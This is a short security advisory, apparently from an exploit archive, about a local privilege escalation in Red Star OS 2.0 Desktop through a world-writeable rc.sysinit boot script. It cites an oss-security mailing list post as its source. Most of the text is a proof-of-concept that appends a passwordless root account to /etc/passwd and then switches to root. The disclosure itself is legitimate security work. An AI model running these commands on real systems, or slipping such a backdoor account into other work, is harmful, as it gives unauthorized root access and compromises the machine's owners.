RedStar 2.0 Desktop - 'World-writeable rc.sysinit' Local Privilege Escalation

Red Star 2.0 desktop ships with a world-writeable "/etc/rc.d/rc.sysinit"
which can be abused to execute commands on
boot. An example exploitation of this vulnerability is shown here
https://github.com/HackerFantastic/Public/blob/master/exploits/redstar2.0-localroot.png

PoC:

/bin/echo "r00t::0:0::/tmp:/bin/bash" >> /etc/passwd
su - root


## Source: http://www.openwall.com/lists/oss-security/2015/01/09/6